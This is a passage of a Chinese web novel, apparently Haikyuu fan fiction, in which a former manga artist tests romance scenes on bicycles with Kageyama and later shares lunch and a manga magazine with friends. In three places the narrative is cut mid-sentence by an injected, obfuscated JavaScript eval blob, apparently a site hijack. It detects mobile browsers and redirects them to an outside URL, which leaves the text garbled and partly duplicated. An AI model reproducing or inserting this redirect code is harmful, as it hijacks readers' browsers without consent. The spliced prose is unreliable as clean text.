月岛萤对此没有表态,只是扯了扯嘴角,用很是复杂的表情,干干地应了一声,并说了句“加油”。 哼,我当然会加油的,以我前少女漫画家的身份担保,我想出来的剧情一定很有看点。 于是中午午休—— 我带着道具自行车来到教学楼后边,这里有很大一块空地可以供我们自由发挥。 影山吃完饭后早早的就到了,我看到他时,他正坐在矮矮的台阶上。 少年鼻梁高挺,面部线条流畅,五官因为年纪尚轻还没长开,看上去有些稚嫩,但不难想象他长大以后会是个怎样帅气的男性。 他听到车轴转动的声音,下意识朝我的方向看来,视线落在自行车上,说:“我还以为你会借用日向的那辆。” “我怕弄坏,听小忠说,日向家离学校有些距离的。”我把车子停好,做了个“请”的手势:“来吧,上车。” 影山走过来坐在车座上,坐了一会儿觉得车座矮了,又下来弯腰去找调节车座高低的旋钮。 我知道他的个子高,腿也比我长,也看得出他不常碰自行车,找了半天都没找到地方,于是我弯腰一看,找准了位置,拧开旋钮,将车座拉到自己腰上面一些的位置。 我寻思着这个高度应该差不多了,然而影山想都没想又将它拉高一节,这才拧上了旋钮固定。 好像什么都没说,又好像什么都说了。 不是,我说哥,待会儿你脚能够着地吗?拉这么高……都快拉到我的胃了! 事实证明他能,而且他还是全脚掌着地。 ……啧。 虽然能够理解,但我还是因为他腿比我长那么多而有些不爽。 影山手握龙头,等了一会儿没等到我上车,还侧过头催促一声:“不上来吗?” 被这么一催就更不爽了…… 算了,他是好心才帮我做这种莫名其妙的实验的,这些都是小事,没什么好不爽的,别忘了正事。 我这么想着,并着腿坐在后座上,同时手放在了影山的腰上,对他说:“好了,你骑吧。” 少年的身体顿时僵硬起来,手下的触感原本就不像女生那样柔软,现在更是变得硬邦邦的,如果仔细感受,还能摸到一些隐约的线条。 我往前摸了摸。 他登时头发都炸了起来,大声:“你别乱摸啊!” 我干咳一声,心虚:“知道了知道了,你快骑。” 藏在柔顺的黑色发丝下的耳尖红了个彻底,影山捏紧了把手,缓了一会儿,感觉腰上的温度没有那么灼热,这才开始骑车。 不过,虽然车子成功地开始上路,但影山的骑车技术实在是不敢恭维。 这要倒不倒的感觉,就像是给自行车喝了假酒,我脚都不敢缩上去,就怕待会儿车倒了。 体验了一会儿,我忍不住问他:“你到底会不会骑车啊?” “我会,只是有点不熟练而已。”他说。 我信了。 然而这自行车始终是骑得不利索,还因为骑得太慢实在不好掌握平衡差点摔跤,我下意识帮他撑了撑他才稳住。 我忍了又忍,又问:“你管这叫会啊?” “……你好啰嗦,我都说会了。”他开始恼羞成怒。 我扶额,从后座上下来,“算了,先别骑这个了,我们换另一个。” “另一个?” “没错。” 我展示出我精心准备的家庭双人骑行自行车:“锵锵——” 这辆车真的非常精美,它有着嫩黄色的顶棚和车头,蔚蓝色的车身,和粉红色的车座,就连车轮都是漂亮的玫红色,如同健气少女一样的多巴胺色彩,光是看着就感觉心情也跟着明朗起来。 影山惊讶地张大了嘴巴,发出一声感叹:“噢!好厉害!” 这种反应很是让我受用,我无比满意地抵住下巴,哼笑道:“怎么样,吓到了吧。这可是我托人找了许久才找到的全新家庭版双人骑行自行车,是直接从景区运送过来的哦。” 他看上去真的很喜欢这辆外型像是黄包车一般的豪华双人坐骑,不需要我多说,从善如流地上了车,并左看看右看看,欣赏着车辆的细节。 我也跟着一起坐上去,一只手扶住龙头,另一只手往前一打,喊道:“出发!” 随着我们两个人同时发力,车轮开始往前滚动。 这种车是四个轮子的,好骑的很,影山感受着风儿吹过脸颊和发梢的清爽感,满脸写着高兴,脚下的速度也越蹬越快。 在学校里骑这种车还是头一回。 从教学楼后面绕一圈骑到教学楼前面,路上难免会遇上一些同学,大家都应该很好奇为什么学校里会出现造型如此奇特的车辆,纷纷目瞪口呆地侧目看过来,我们都骑出去一段距离了,他们的视线都还停留在我们潇洒离去的背影上,久久不能回神。 影山玩的有些忘乎所以,踏板蹬得飞起。 我一开始还能跟上,但一直用这个速度和力度,我的大腿很快就变得酸痛起来,在抬腿这个动作都变得吃力之后,我的脚下一错,踏板一空,而他那边又踩得很快,轮子飞速旋转,所以依旧在继续在转的踏板无情地敲在我的膝盖上,给我痛的不行。 我忙喊住他:“等一下,影山,喂!” 影山没听清,他超大声问:“什么?怎么了?下个路口要不要往右拐?我好像在那边看到笨蛋日向了!” 他依旧在痛击我的膝盖。 “我说你停一下!”我一边大声说,一边调整自己的腿,想跟上踏板旋转的速度。 好消息是我调整好了,踏板从痛击膝盖变成了刮蹭小腿,坏消息是影山这死小子以为我在同意他的提议,跟见了骨头的狗一样兴致冲冲地往右拐。 我会被他气死,伸手就拧住他的耳朵,猛地拉进和他的距离,说:“我让你停一下停一下停一下!” 影山这才紧急刹车,脸上的兴奋冲淡了一些,眉头低垂,看上去还有几分委屈:“怎么了?” “你踩得太快了!两边的脚踏板连接同一个轴,除非我踩住,否则你那边踩多快我这边就转多快。” 我继续拧他耳朵:“你是要飞啊?骑那么快?踏板打在我的腿上很痛啊!” 影山挠挠头,老老实实和我道歉:“对不起。” “我不想骑了,你把它骑回起点。”我凶巴巴地命令他。 黑发少年乖得要命,他这次特意放慢了速度,确认我在踩好踏板后,他那边的转速不会强制让我这边转动,才稍微踩快一些,由龟速变成慢速,稳稳当当地扭了一圈原路返回。 我只需要在柔软的坐垫上坐好,车头都不用去管,影山自己会负责好转弯的角度和前进的速度,避免让我变得更生气。 于是我们两个又重新回到了我的那辆自行车前。 看到熟悉的道具,我突然才想起来,我把这两辆车带来学校,还和影山午休待在一起,是在实验少女漫画的情节来着。 在短暂的沉思后,我问影山有没有哪一个瞬间有恋爱的感觉。 影山问我什么是恋爱的感觉。 我支支吾吾半天,给出了一个模棱两可的答案:“就是非常高兴,脸红心跳,心情特别特别好,想一直和对方就这样待在一起……之类的。” 影山非常认真地开始回忆。 过了几秒后,他看着我,很肯定地点点头:“有。” “那太好了,细说。” “就是我们刚刚骑家庭版双人自行车的时候,我想和你继续骑。” 我无语地半眯起眼睛:“你这哪是恋爱的感觉,分明就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15659215|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩心上来了,在那里一个人奇怪地兴奋。” 影山说:“反正我那个时候的心情和你描述的一模一样。” “……好吧,我会如实记录下来和梦野老师汇报的。” 我总觉得这样不行,刚刚我只感觉到了愤怒,两个人之间的氛围也一点都不美好。 我又想了想别的剧情,最后视线落在那辆崭新的自行车上,和影山提议再次换回这辆自行车试试。 只不过这次,是我骑。 影山没有异议,他在我调整好座椅,扶好车头后,坐上了对他来说矮了很多的后座。 一米八的大高个十分憋屈地蜷起小腿,缩在女生的身后,但很快他的注意力就不在自己身上——因为车子开始跑起来,他很难保持平衡,所以下意识地扶住了对方的腰。 是如同云团一般缥缈,仿佛稍微一用力就会捏散的柔软触感。 透过单薄的衬衫,他能感受到从对方身上传来的体温,比自己要低一些,却不知道为什么让他觉得有些烫手。 女生的腰好像天生就比男性要纤细,他知道打排球打篮球的人手掌都会稍微大一些,但他偷偷张开五指,看到大拇指到小拇指的距离,差不多就是对方腰的宽度,他这才觉得自己手大……或者说,是她腰太细? 樱粉色的发尾被风吹起一部分,而后又垂落在手背,痒的很。 影山正想默默把手松开,就听到了刹车声响,自行车也停了下来。 我回头问他:“怎么样?有什么感觉?” 影山对上我的视线,停了几秒,才挪开脸,说:“没什么感觉。” “这样吗?嘶,一想到这是违反交通法的行为,好像确实什么感觉都没有了。”我抵着下巴思考,最后像是下定了什么决心,对影山说:“来吧,我们试最后一种,你坐到车篮子里来。” 影山沉默,影山下车,影山尝试。 ……影山卡住。 我瞪圆了眼睛:“你卡住了?” “……嗯。” “天呐,你屁股这么大?” 影山忍不住吐槽:“这种篮子你坐也会卡住吧!” “哎,管他呢,你先稳住,我骑骑看。” “?你别骑了啊!现在要想的应该是怎么办我弄下来吧!” “卡都卡住了,总要物尽其用吧?” “我国文不好,但物尽其用是这么用的吗?” “这你别管,听我的。” “……” 影山整个人悬空在车头前,冷汗直流。 我只一抬脚就立刻感觉到了不对劲的地方,重物在前和重物在后是完全不一样的感觉,他坐在后头我尚能控制平衡,但他这么大一只坠在前面,就算他乖乖地不乱动,我也很难去掌控车头的方向,更别说顺利骑起来了。 毫不意外的,“强取豪夺”的下场就是直接“坠机”。 我们连人带车倒在绿化带里,人倒是没受伤,就是看上去多少有些狼狈。 我苦恼地从草地上爬起来,扫了一眼惨兮兮倒在一旁的自行车,它的后轮还在滴溜溜地转,我又看向还卡在车篮子里的某位少年。 他看上去有些生无可恋,一张脸上什么表情都没有,就这样平躺在地上,目不转睛地看着我。 我:“……额,还是有好事发生的,对吧?” 他没有说话,依旧盯着我看。 “至少,你卸下了车篮,获得了自由呀。”我语气故作轻松。 影山的手紧紧攥起,他从地上坐起来,目光变得阴森森的:“桃·沢·绘·里。” “干、干什么!……喂!我、我和你道歉嘛!非常对不起、下午请你吃好吃的作为补偿!真的!” “我不要!你别跑!” “傻子被追才不跑!” “那你就是那个傻子!傻子桃沢!” 我回头朝他做鬼脸,于是看到了影山生气起来更像恶鬼的那张脸。 真是可怕、真是可怕。 18.十八条鱼 今天的实验总结我完完整整地发给了梦野老师。 梦野老师在仔细地阅读了我这一千字的报告文件后,头晕眼花地提出了自己的疑问: [蜜桃,你确定家庭版双人自行车会让人有脸红心跳的感觉吗?我们下午也试了联排自行车,我同学说体验一点都不好。] 我就知道肯定是笨蛋影山提出的这一部分感想出现问题,毕竟我在骑家庭版双人自行车的时候什么感觉都没有,甚至还很生气地拧住了他的耳朵。 不过每个人对于同一件事情的看法是不一样的,既然影山觉得双人自行车的感官很好,那就值得一提,说不定有人和他一样,也喜欢家庭版双人自行车呢。 于是我回道:[我同学很喜欢。] [梦野:这可真是……] 这个时候,雪君也看完了我的体验报告,冒头发了个笑晕的表情包,紧接着加入了我们之间的讨论。 [小雪:笑死我了。] [小雪:你们还做什么蠢事了?请继续说一说,我真的很想听。] [蜜桃:请注意你的言辞雪君,这可不是做蠢事。] [蜜桃:我让我同学后座和车篮子都坐了一遍,但是据他所说,坐在后面没什么感觉。] [蜜桃:我的话,倒是一直没觉得有什么心动的点……啊,不过让他坐在车篮子里的时候,我非常的兴奋!这一定就是传说中的纯爱吧!] [小雪:不是,你对他是纯恨。] [梦野:听你这么说,是男孩子坐在了车篮子里?车没有坏掉?] [蜜桃:没有,我选的车子非常扎实,车都倒了,车篮都没坏呢。] [梦野:……虽然很敬佩你的敬业精神,但是蜜桃还是要注意安全……] [蜜桃:安全的安全的,没人受伤。] [梦野:那就好,总之还是十分感谢,我好像有些灵感了。] [蜜桃:真的吗!太好了!] [小雪:我也有灵感了,纯恨纯.肉这款也挺多人吃的。] [蜜桃:哦!说的也是呢!] 能够帮上朋友们的忙,我非常高兴,同时,我对我最新一话的漫画也有了一个巧妙的构思。 当然,这些都是影山的功劳,第二天我也没忘记给他带些礼物。 午休时,根据小忠友情提供的消息,我在教学楼楼下找到了正在买酸奶的黑发少年。 他没有穿乌野的那件黑色中山装外套,衬衫袖子松松垮垮地挽在手肘处,衣服下摆隐藏在裤子里,露出结实的小臂,也显现出那一圈瘦瘦的腰肢。 我一眼就被他不错的腰臀比吸引,视线在他的腰上和臀上来回打转,不禁发出一声赞叹:“你这个比例,还真挺……” 话没说完,我突然意识到自己现在的行为特别像是在街头猛盯辣妹的流氓小子,这种夸赞在被人听来也可能是种冒犯。 影山没听到后面的话,追问一句:“挺什么?” “啊,没什么。”我闪躲地挪开视线,并把手里的袋子举起来让他能看见:“昨天谢谢你帮我,这个是给你带的谢礼。” 影山不是个扭捏的性格,他很自然地接过了塑料袋,往里面一看,全都是一些小零食,各种品种的都有。 “我不知道你喜欢吃什么,所以每样都挑了一些。”我解释几句。 这句话让影山有些意外,他手上的动作顿了顿,微微俯身,看着我,很认真地对我道谢:“谢谢。” 少年的眼睛一直都很漂亮,瞳孔像是名贵的蓝色宝石,清澈透亮。 他特意弯下腰来注视着我,即使表情一如往常没什么变化,我却感觉他现在心情很好,对我说话的时候也很真诚。 我下意识身体微微后仰,与他拉开了一些距离,视线微微偏移,没敢一直看那双写满真挚的眼睛:“你昨天帮了我大忙,这是应该的。” 影山又看了我一会儿,随后直起身子,撕开一根美味棒的包装袋,一边衔着美味棒,一边问我:“午休还有时间,要一起吃吗?” “……” 我原本是想说不用的。 毕竟我和他也不是很熟,甚至到现在我们都不知道对方的名字,即使因为每天放学一起回家,两个人的关系好像一点一点变得不错,我总感觉和他的磁场不是很合。 再者说,阿月好像看他很不爽的样子,如果我和他走的太近,阿月肯定会不高兴的。 那可是我从小玩到大的交情啊!我小时候还抱过他呢! 影山飞雄半天没有得到回应,有些疑惑,随即从袋子里头掏掏,掏出一根草莓味的奶酪棒放在我面前:“走吗?” “!”居然是草莓味…… 最喜欢的口味摆在面前,我坚定无比的内心有了片刻的动摇。 视线顺着奶酪棒往上看,他依旧是那张又帅又凶的脸,但不知道是不是角度问题,我总感觉他叼着美味棒老实巴交递给我奶酪棒,等着我回答的样子好憨。 我装模作样地干咳了一声,接过奶酪棒,转身说:“真拿你没办法,那就陪陪你好了。” 旁边就是教学楼架空层的楼梯,这里空旷又安静,不容易被打扰,偶尔会有人来这里午休,今天倒是很罕见的没人在。 我找了个稍微干净一些的地方坐下,影山一直跟在我身后。 他看了一眼离我有些距离的位置,台阶的边缘有很浅很浅的一个脚印,他下意识摸摸口袋,想了想,还是挨着我坐下。 因为离得近,我们两个的腿难免有一部分会碰在一起,我想都没想就往旁边挪了挪,在两个人之间空出一条缝。 影山似乎什么都没有发现,他双手搭在大腿上,手腕处挂着零食袋,刚刚的那根美味棒他已经吃完了,现在又叼着和我同一个味道的Pocky。 粉色的那段被他抿在唇间,短一截,晃一下。 我手里还捏着那根草莓味的奶酪棒,短暂的纠结了几秒,我还是问他:“你为什么会给我草莓味的东西?” 他听到我说话,侧头看着我,似乎不明白我问这个问题的意义是什么。 于是我又补充道:“很多时候,别人都会因为我的名字里带个‘桃’字,就把和桃子相关的东西留给我,比如说桃子样式的发夹,比如说桃子味道的糖果,但是你今天给了我草莓。” 我这袋子里准备的种类多,口味也是全的,但他刚刚好就给了我这个。 我撵着奶酪棒的棍子,自己给了一自己一个猜测:“是凑巧的吗?” “啊?”影山面露迷茫,说:“这里袋子里草莓味的零食最多,随手拿到的就是这个味道了。” 果然,我就说我们连朋友都算的勉强,他怎么可能这么精准地就拿捏我的口味。 如果是凑巧的就合理多了,这次算他走运,下次我可不能这么简单就答应他的要求,还傻乎乎地留在这里陪他吃零食…… “不过。” 影山又说:“你会买这多这种口味的东西,就说明你会更喜欢它吧?所以你要说凑巧的话,也许也不是。” “……” “怎么了?我说错了吗?” 我偏移了视线,手撑着下巴,背着他看向别处,嘴硬:“当然说错了,是因为阿月喜欢草莓蛋糕所以我才会下意识买这么多草莓味的东西。” 影山一愣,沉思了几秒,伸手过来想把我手里的奶酪棒拿走。 我手疾眼快躲开,“干什么?” “你不喜欢的话,可以直接说,我给你换一个。” “不要,就这个算了。” “怎么能算了,这里面肯定有你喜欢吃的。” “没有。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673473|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不可能没有。” “那你找啊。” 影山立刻就去翻,只是手刚下去,他又侧头看我:“你要先告诉我你想吃什么啊。” 我又开始笑的很恶毒:“哈,这还要问我吗?就你这个笨蛋,你找一天都找不到我想要的。” 他蹙起眉头:“喂,我不是笨蛋。” “你是。” “我不是。” “你就是。” “我不是!” 影山一下子站起来,一向没什么表情的脸上多了许多不满。 他低头看着我,在和我对上视线时,不知道想到了什么,紧紧皱起的眉头松了松,又下了台阶,最后还蹲在我面前。 我的视线一路追着他走,从费劲的仰视,下降到现在的平视。 少年蹲在面前的样子更像是端坐着的大型犬,他很明显是被自己逗生气了的,可就算是再不高兴,他也没有多凶,而是用比平常更为认真严肃的眼神看着我,说着:“不要叫我笨蛋。” 他这幅模样可比平常看着要更有趣。 我突然就想起了自己那还没画完的稿件。 像他这种设定的性格,害羞起来会是什么表情呢? 我眼睛一眨,起了坏心思。 葱白的手指偷偷往上,轻轻地拉住他敞开的衬衫衣领。 他对我没有防备,我只是微微用力,便轻而易举地就破坏了他的重心。 影山的反应很快,他单膝跪地的同时,伸手撑住了我身后的那节台阶,这才没有整个人都狼狈地扑倒在我身上。 他的眼睛里有几分茫然,火气也消散地一干二净。 我松开手,指尖一路往上,抬起他的下巴,说道:“不叫笨蛋,那你想让我叫你什么?” 若有若无的触碰反而带来一串说不清道不明的痒意,少年浑身僵硬着,连下巴都高高抬起,不敢有其他动作。 我细细地观察着他的表情变化,可惜等了半天都没能等到影山有其他反应,我们依旧僵持着,但总感觉有些奇怪。 “桃沢!影山!” 这时,从不远处传来了一个十分有活力的声音。 我立刻侧头看过去,那鲜艳耀眼的橘红色出现在视线范围内,我登时眼前一亮,抬手回道:“日向!” 影山被我这个动作给推了出去。 找到小伙伴的小太阳跑得飞快,没一会儿便出现在了眼前。 他看了看坐倒在地上的影山,又看了看坐在台阶上的我,满脸都是好奇:“你们在这里干什么呢?” “没干什么,就是随便聊聊。”我跳下台阶,双手背在身后,靠近了一脸单纯的日向翔阳:“说起来,日向,我能请你帮我一个忙吗?” 日向:“OVO什么呢?” “总之,先这样看着我吧。” 小少年不明所以地和我对视着,慢慢的慢慢的,他好像品出了不太对的味道,视线微微偏移,耳朵也开始泛红。 “那、那个……” 我连忙摆正他的脸,“请继续看。” “嘭!” 粉粉的红色逐渐蔓延到脸颊,日向翔阳变成了个红红的小太阳,甚至头顶都冒出一团白眼,看上去像是烧坏了。 啊—— 是这个,就是这个! 我要的就是这个! 看上去冷漠不好接近,实际上内心单纯善良的可爱女宝,脸红起来就应该是这个感觉才对啊! 我松开手,兴奋地向他道谢:“谢谢你日向!真是帮了大忙了!” 日向翔阳晕晕乎乎的:“诶,这样吗?” 影山飞雄:“……” 喂,有没有人管管? 他还坐在地上呢,他的仇敌和好友却其乐融融地混在了一起。 ……真是没天理。 19.十九条鱼 最新一期的月刊上线,我第一时间购入了一本,并在午休的时候把影山喊出来,和他分享分享梦野咲子老师画的新剧情。 月岛萤一听我是去找影山的,立刻拉住我,说:“你最近是不是和那家伙走的有点太近了?” 我一听,很是紧张地看着他:“我和影山没什么的,我没有背叛我们的友谊,没有没有没有。” “不是,我是说……”他有点无语,想解释却又感觉会越解释越乱,最后只是叹了口气,一只手撑着腰,低头看我:“我们一起去,你不介意吧?” “不介意啊,当然不介意了。”我摸摸鼻子,转头又去喊山口忠:“小忠!走呀,我们去吃饭!” 山口忠刚交完上节课的课堂作业,听到我在门口喊他,立刻从自己的书包里翻出便当盒,边走边朝我喊:“来了!” 去喊影山的路上还碰到了日向翔阳,于是我一起打包带走,一年级组归家五人小分队重新汇合在一起,围成圆圈,坐在了教学楼的天台上。 我主要是想和影山说漫画的事情,下意识就拉着影山走了,不过坐下时山口忠突然穿插在我和影山中间,变成了日向、月岛、我、山口、影山的顺序。 我莫名其妙又被两个闺闺夹着坐下,抱着手怀里的漫画书一呆,随后眨了一下眼睛,侧头问山口忠:“小忠,那个,我们换一下座位呢?我和影山有话要说。” “这样啊?可是我们都已经坐下了,再换座位的话会很麻烦。”山口忠笑眯眯地捧着自己的便当盒,语气十分自然:“不然我们还是先吃饭吧?” 我挠挠头:“这个……” “你和他坐在一起不就是想看你那位‘梦野老师’的漫画吗?正好我和山口也很感兴趣。”月岛萤给山口忠使了个眼色,示意道:“你吃饭吧,我们传阅一下。” 山口忠从善如流地接话:“阿月说得对,也给我看看吧。” 既然阿忠都这样说了,我只能把书递给他,并叮嘱道:“你们看的时候小心一些哦,别沾上油了,新买的呢。” 山口忠连连点头:“嗯嗯。” 为了方便,他想了想,迅速地找到《萌爱》那一篇,递到影山面前,两个人一起看。 可能因为是我认识的作者,而且也是我强烈安利的作品,他们看的很认真,也很投入,不一会儿就全身心投入到了剧情当中,我也安分下来,打开便当盒,看看今天的菜式。 小小的饭盒分成了三部分,占比最大的那一部分是香喷喷的白米饭,上面撒了一些黑芝麻,饭面上盖着四只新奥尔良烤翅,汤汁浓郁,将与烤翅贴合的米饭染成了棕褐色。 其他四个格子里分别放着两只鲜虾芝士寿司、两个草莓大福、两只油炸天妇罗大虾,以及一份水果沙拉。 日向翔阳直接两眼放光,惊叹:“哇!桃沢,你的便当好丰富啊,是自己做的吗?” “我自己可做不出来,是家里的阿姨帮忙做的。”我解释说:“这些冷食都是昨天做好的,我只需要把米饭和鸡翅热好放在盒子里就行。” 他嘴角垂着口水,眼巴巴地看着我的食盒,口齿不清地发出疑问:“那天妇罗炸虾呢?” “是昨天晚饭剩下来的,热过之后面衣已经软下来了,味道一般。”我看他一副馋的不行的模样,忍不住眯起眼睛笑起来,将手里的饭盒递过去一些:“不过寿司和大福应该还不错,你要不要尝尝?” “可以吗?!”日向翔阳音量都提高许多,他脸上的笑容大大的,用阳光明媚来形容也完全不过分。 在我的鼓励的眼神中,他只是稍稍犹豫,没敢夹我的寿司,而是戳了个草莓大福过去。 作为交换,他也将他饭盒当中唯一的肉类夹了一大筷子给我,说道:“桃沢也尝尝这个吧!我妈妈亲手做的,很好吃的!” “好。”我欣然应下。 日向翔阳见我没有拒绝,自己都没有察觉到自己松了口气,脸上的笑容又灿烂了些,简直是怀着感恩的心咬下了那一口草莓大福。 这一瞬间,小太阳佛光万丈。 “好吃——” 月岛萤原本没想吃的,见日向翔阳吃的如此幸福,视线也有些蠢蠢欲动。 我第一时间察觉到他的想法,连忙护住自己的饭盒,满脸防备地看着他:“我只剩一个了,你要吃提前和我说,我让阿姨做。” 月岛萤:“……” 月岛萤:“切,谁稀罕。” 他面无表情地吃着饭盒里的西蓝花,嚼嚼嚼,嚼嚼嚼。 嚼着实在是寡然无味,于是伸手抢了我饭盒里的一只鸡翅。 我:“!” 我:“你不是不稀罕吗!” 月岛萤:“再喊我把你草莓大福也抢了。” 我:“……” 哇,群众之中有大恶人啊! 我是一个包容且待人亲切的性格,对于亲近的朋友,我更是会表露出更多的耐心。 但是像月岛萤这么贱的,我一般都忍不住,要和他打一架。 一般来说,这个时候我就应该陷入了激烈的战况中,山口忠则是会在旁边急得焦头烂额想着要如何劝架,哄这边也不是,哄那边也不是,最后只能用出告家长这一招,才能结束这场谁都不知道在吵什么的幼稚战役。 不过这次不一样,在我和月岛萤吵起来之前,影山注意到了这边的闹剧,在我先打雷霆之前,越过山口忠,把他的章鱼香肠夹给了我。 我直起的上半身就这么僵住,侧头看了他一眼,默默又坐了回去。 影山飞雄完全不知道自己熄灭了一场大火,依旧是没什么表情的一张脸,一只手展开《萌爱》的那一页给我看。 他说:“你确定这是我们提供的灵感?” 我买来还没仔细看,看到自行车环节就迫不及待给小伙伴们分享了,这会儿听他一说,心里也有些疑惑,接过了那本漫画开始认真品读。 和梦野老师说的一样,这是一场放学之后,男女主角一起回家的剧情。 美丽的黄昏,错落的人群,不由自主看向对方的羞涩眼神,微红的脸庞。 明明是再正常不过的相处,却因为他们过快的心跳和并不平静的心绪而逐渐暧昧起来。 男生有着十分帅气的脸庞,指骨分明的手握着龙头,慢慢地推着自行车,与女生同行。 他的脸上总是挂着得体有温柔的笑容,只要是女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688654|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生在说话,他第一时间就会看过去,用那双写满温情的眼睛注视着她,仿佛整个世界里就只有那巧笑嫣然的少女。 女生总是会被对方的温柔所打动,就像他明明现在可以一蹬自行车直接骑走,却依旧为了自己而费劲地扶着车子慢慢前行,她知道的,他是为了能够多和他相处一会儿。 交谈的声音随着镜头的拉远已经渐渐听不见了,只留下那撒了一地橙红的夕阳,以及年轻的少年少女远行的背影。 几页纸的内容,剧情流畅,分镜唯美,表达的情感细腻,不愧是有着“少女心思代言人”的少女漫画名家。 我表情虔诚地合上了月刊。 妙啊,实在是太妙了。 这恋爱还是得看别人谈才有意思啊。 余光看到影山还在等我回答,我斜他一眼,说道:“你不懂,漫画家的灵感总是在不经意间迸发的。” “虽然这一章看似好像和我们的实验没有任何关系,但实际上很可能是因为我们的某一行为让梦野老师画出了如此美妙的剧情。” 我双手十指交叉置于胸前,满脸虔诚:“真的是太厉害了,梦野老师。” 月岛萤从来都没有在我嘴里听说过这个名字,当下有些无语:“你的状态就好像是进入了什么传销组织,没事吧?” 山口忠倒是知道,他和月岛萤说:“似乎是小桃在东京上学的时候认识的漫画家,听小桃说他画漫画很厉害。” 我连连点头:“我画漫画也受梦野老师的启发。” 日向翔阳不太懂少女漫画,但是能上这么厚一本的月刊,那位“梦野老师”一定很厉害,而且……桃沢同学居然也有在画漫画诶! 她也好厉害! 他十分崇拜地看着坐在对面的女生,眼里闪烁着亮晶晶的星星:“桃沢同学!你的作品也在上面吗?是哪一篇?是哪一篇!” 我一时语塞:“啊,这个……” 日向翔阳依旧期待:“嗯嗯!” “去年还是有在连载的。”我视线飘到一边,满脸写着心虚:“现在已经……” 月岛萤:“但你还是有在画的吧?只不过不是在这本漫画杂志上。” 说起这个,我更是觉得心虚,视线漂移地更加厉害:“有是有的,可……” “上次问起的时候你也很支支吾吾的。”月岛萤总觉得哪里不太对劲,视线狐疑起来:“难道你是骗我们的?” “怎么可能?”我不满地看向他,说:“上次日向还让我想到了新剧情,我和梦野老师差不多时间截稿的,我的漫画销售量也很客观,读者的评论都很不错呢!” 连雪君看了都说我简直就是天才漫画家,编辑对我的画功也是赞不绝口,以往都会说几点改进的方向,近几次收稿都没有再说过了。 月岛萤还是很好奇这死丫头到底在画什么,可她这张嘴实在是严实,如果她不想说,真就没人能把信息从她嘴巴里撬出来。 不过…… 他嘴角扬起一个阴暗的弧度。 死丫头好像为了方便都是用平板画画的,没有用纸质稿件,如果能够拿到她的平板的话…… 就能知道她到底在隐藏什么了。 20.二十条鱼 绘画部的事情一直不是很多,更多的时候只是为喜欢画画的学生提供一个绘画的地点,又或者偶尔被抓去帮忙画个海报和宣传栏,当真是过得清闲。 不过我的任务重一些,因为和学姐一起定好了参加绘画比赛,放学后的社团活动我都和她坐在一起。 岛崎学姐的作品精雕细琢,她对自己的细节要求简直苛刻,所以我在她旁边的时候也会帮忙看她哪里的细节处理的不好。 一开始我还有些担心,我如果完全按照自己的想法给她改的太多,不仅会失去她本身的风格,她自己也会很不高兴。 暗暗观察的时候,我发现岛崎学姐似乎还挺喜欢我帮她改画的,一点不高兴都没有。 我偷偷松口气。 她没有觉得我太傲慢就好。 又过了几天,我发现有两个很是耳生的名字频繁地出现在几位友人的话题中。 ——“谷学长”和“旭前辈”。 想想也知道应该是排球部新解锁的角色,不过听上去不像新生,也许是上次没见过的高年级学长。 果然,见我对那两位学长很好奇,山口忠便和我解释了几句。 “谷学长”的全名是西谷夕,二年级的学长,同时也是排球部的自由人,非常有实力,基本上没有他接不下的球。 “旭前辈”的全名是东峰旭,三年级的前辈,同时也是排球部的主攻手,扣球的威力巨大,一般的拦网根本就拦不下他。 这两位实力派选手都有一些故事,目前还没有真正回归排球部。 我很好奇这其中有什么故事,但这很明显不是我该八卦的,所以我问了另一个我同样也能很好奇的问题。 我问:“他们都这么厉害的话,如果让西谷学长去接东峰学长的球,结果会如何呢?” 山口忠抵着下巴思考:“这个啊……可能会被接住吧?” 月岛萤:“不清楚,目前还没见他们一起打过球。” 影山听完我们的对话,久久没有说话,一副正在思考的模样。 正当我以为他是不是有更为独到的见解时,只见他的脑袋上突然亮起了一个灯泡,说:“以最强的矛攻击最强的盾,这个故事我好像听过。” “……”我一时间心情有些复杂,抬手制止:“好了,知道你国文学的不错了,你闭嘴。” 影山脑袋上的灯泡立刻暗掉:“……哦。” 这么一打岔,我那个问题的答案好像也不是很重要了,我们几个人依旧往前走着,聊着聊着又换了个话题继续说话。 影山选手被我凶了一句“闭嘴”,后面就真的没再开口,安安静静地走在我左手边。 平常他的话就不怎么多,大部分时间都是我和我的闺闺们在聊天,所以我也没有发现哪里不对。 直到两个少年在路口与我们分别,这条已经只剩下路灯陪伴的街道突然安静下来,而且还安静了很长一段时间,我这才有所发觉,下意识朝身侧看去。 